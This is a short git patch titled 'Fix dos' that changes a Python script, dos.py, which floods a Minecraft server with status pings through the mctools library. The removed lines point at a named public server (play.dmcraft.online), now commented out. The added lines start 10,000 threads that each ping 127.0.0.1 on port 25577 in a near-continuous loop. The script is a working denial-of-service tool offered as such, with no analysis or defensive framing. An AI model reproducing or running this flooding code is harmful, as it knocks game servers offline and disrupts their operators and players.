From 50724a3f707a4b20d7f5ba8dadc96e36f6b0acf4 Mon Sep 17 00:00:00 2001 From: Void User Date: Fri, 20 Jan 2023 22:55:37 +0300 Subject: [PATCH] Fix dos --- dos.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/dos.py b/dos.py index c74a157..ef7a2be 100644 --- a/dos.py +++ b/dos.py @@ -3,16 +3,17 @@ #NO NULLPING from mctools import PINGClient -#ping = PINGClient('play.dmcraft.online') -ping = PINGClient('127.0.0.1') #My libraries from time import sleep +import threading +def main(): + ping = PINGClient('127.0.0.1', 25577) + while True: + sleep(0.00001) + ping.ping() - -needsleep = 0 -while True: - sleep(0.001) - ping.get_stats() - #print('Ping') +for i in range(10000): + th = threading.Thread(target=main) + th.start()